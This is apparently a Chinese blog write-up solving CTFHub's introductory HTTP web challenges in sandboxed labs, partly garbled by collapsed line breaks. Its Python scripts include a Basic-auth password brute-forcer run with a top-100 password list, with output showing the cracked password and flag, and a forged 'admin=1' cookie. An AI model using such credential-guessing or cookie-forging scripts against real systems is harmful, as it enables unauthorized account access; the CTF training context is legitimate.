Web前置技能

一、HTTP协议

1、基础认证

在HTTP中，基本认证（英语：Basic access authentication）是允许http用户代理（如：网页浏览器）在请求时，提供`用户名` 和`密码`的一种方式。详情请查看 https://zh.wikipedia.org/wiki/HTTP基本认证

直接上脚本

#!/usr/bin/python
# -*- coding: utf-8 -*-
# -- author : valecalida --
# edit_time: 2020/3/19 下午6:43
from urllib.request import HTTPBasicAuthHandler, build_opener, HTTPPasswordMgrWithDefaultRealm
from urllib.error import URLErrorusername = 'admin'
f = open('10_million_password_list_top_100.txt', 'r')
url = "http://challenge-b14d74b2bbccc186.sandbox.ctfhub.com:10080/flag.html"
for line in f.readlines():password = line.strip()instance = HTTPPasswordMgrWithDefaultRealm()instance.add_password(None, url, username, password)auth_handler = HTTPBasicAuthHandler(instance)opener = build_opener(auth_handler)try:res = opener.open(url)html = res.read().decode('utf-8')print("用户名：admin 密码：%s" % password, "是正确答案")print("flag为：", html)breakexcept URLError as e :print("用户名：admin 密码：%s" % password, "不是正确答案，原因是：", e.reason)
f.close()

这里为了直观的看到密码，我这里打印了一下，不然可以不打印

运行结果是

用户名：admin 密码：123456 不是正确答案，原因是： Unauthorized
用户名：admin 密码：password 不是正确答案，原因是： Unauthorized
·
·
·
省
略
很
多
行
·
·
·
用户名：admin 密码：andrew 不是正确答案，原因是： Unauthorized
用户名：admin 密码：tigger 是正确答案
flag为： ctfhub{e33b1ac90d8205e95a7dc326726cd1ffe080c673}

或者使用下面这个脚本也可以

#!/usr/bin/python
# -*- coding: utf-8 -*-
# -- author : valecalida --
# edit_time: 2020/3/20 下午2:27
import requests
from requests.auth import HTTPBasicAuth
username = 'admin'
f = open('10_million_password_list_top_100.txt', 'r')
url = "http://challenge-8d232fa7f09a8d27.sandbox.ctfhub.com:10080/flag.html"
for line in f.readlines():password = line.strip()res = requests.get(url=url, auth = HTTPBasicAuth(username, password))if res.status_code == 200:print(res.text)break# else:#     continue

2、302跳转

#!/usr/bin/python
# -*- coding: utf-8 -*-
# -- author : valecalida --
import requests
url = "http://challenge-061acc63c590e9b4.sandbox.ctfhub.com:10080/index.php"
r = requests.get(url,allow_redirects=False)
print(r.text)

3、Cookie

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
import urllib.request
url = "http://challenge-dd1412b01a02d5dd.sandbox.ctfhub.com:10080/"header = {"Cookie": "admin=1"
}
req = urllib.request.Request(url, headers=header, method="GET")
res = urllib.request.urlopen(req)
print(res.read().decode('utf-8'))

4、请求方式

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
# Edit time: 2020/3/19 19:59
from urllib import request
import re
"""HTTP Method is GETUse CTF**B Method, I will give you flag.Hint: If you got 「HTTP Method Not Allowed」 Error, you should request index.php.
"""
rr = re.compile(r'\bctfhub{.*}', re.I)
url = "http://challenge-c2631c2870dc91e1.sandbox.ctfhub.com:10080/index.php"
req = request.Request(url=url, method="CTFHUB")
res = request.urlopen(req)
print(rr.findall(res.read().decode('utf-8'))[0])

5、响应包源代码

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# --author：valecalida--
# Edit time: 2020/3/19 20:56
import re
import urllib.request
rr = re.compile(r'\bctfhub{.*}', re.I)url = "http://challenge-226bf952c446eb7c.sandbox.ctfhub.com:10080/"res = urllib.request.urlopen(url)
print(rr.findall(res.read().decode('utf-8'))[0])

未完待续~~

CTFHUB Web前置技能题解记录（HTTP部分）相关推荐

CTFHub技能树web（持续更新）--web前置技能（HTTP协议）--302跳转
302跳转首先题目很明显的告诉我们存在页面重定向,所以我们现抓包: 在历史记录里面我们看到了这个302跳转,在他的回包里面,我们看到了这个Location是index.php,那么我们登陆到这里面看 ...
CTFHub-web前置技能-请求方式、302跳转、cookie、基础认证、响应包源代码
CTFHub-web前置技能 1.请求方式方法一:burp抓包将GET改为CTFHUB 放包方法二:curl 命令利用 curl 命令对本题求解在命令行中输入相关知识号方法描述 1 G ...
Web前端理论知识记录
Web前端理论知识记录 Elena · 5 个月前 cookies,sessionStorage和localStorage的区别? sessionStorage用于本地存储一个会话(session)中 ...
Dynamics CRM2016 Web API之创建记录
前篇介绍了通过primary key来查询记录,那query的知识点里面还有很多需要学习的,这个有待后面挖掘,本篇来简单介绍下用web api的创建记录. 直接上代码,这里的entity的属性我列了几 ...
python爬虫的技能_python-爬虫技能升级记录
====== python-爬虫技能升级记录 ====== ===== (一)感知爬虫及爬取流程 ===== 从简单存取一个页面到爬取到大量的定量数据,对技术要求更高,以百度百科数据爬取为入门练手项 ...
20201007：力扣209周周赛题解记录（上）
力扣209周周赛题解记录(上) 题目思路与算法代码实现复杂度分析题目特殊数组的特征值奇偶树思路与算法第一题单纯的暴力就行,应该是可以用二分之类的改善复杂度,没必要赘述,直接上暴力遍历, ...
20200922：leetcode35周双周赛题解记录（下）
leetcode35周双周赛题解记录(下) 题目思路与算法代码实现复杂度分析题目 3.1590. 使数组和能被 P 整除 4.1591. 奇怪的打印机 II 思路与算法第三题前缀和衍生题目, ...
20200819：力扣202周周赛题解记录
力扣202周周赛题解记录题目一:[存在连续三个奇数的数组](https://leetcode-cn.com/problems/three-consecutive-odds/) 代码实现题目二:[使 ...
20200815：力扣201周周赛题解记录下
力扣201周周赛题解记录下题目思路与算法代码实现题目和为目标值的最大数目不重叠非空子数组数目 1547. 切棍子的最小成本在这里插入图片描述思路与算法第3题还是一个简单的模拟,用set ...
20200814：力扣201周周赛题解记录上
力扣201周周赛题解记录上题目思路与算法代码实现写在最后题目整理字符串找出第 N 个二进制字符串中的第 K 位思路与算法第一题这种类似消消乐的东西都是直接用栈来实现的,注意代码细节 ...

CTFHUB Web前置技能题解记录（HTTP部分）

Web前置技能

一、HTTP协议

1、基础认证

2、302跳转

3、Cookie

4、请求方式

5、响应包源代码

CTFHUB Web前置技能题解记录（HTTP部分）相关推荐

最新文章

热门文章

CTFHUB Web前置技能 题解记录（HTTP部分）

Web前置技能

一、HTTP协议

1、基础认证

2、302跳转

3、Cookie

4、请求方式

5、响应包源代码

CTFHUB Web前置技能 题解记录（HTTP部分）相关推荐

最新文章

热门文章

CTFHUB Web前置技能题解记录（HTTP部分）

CTFHUB Web前置技能题解记录（HTTP部分）相关推荐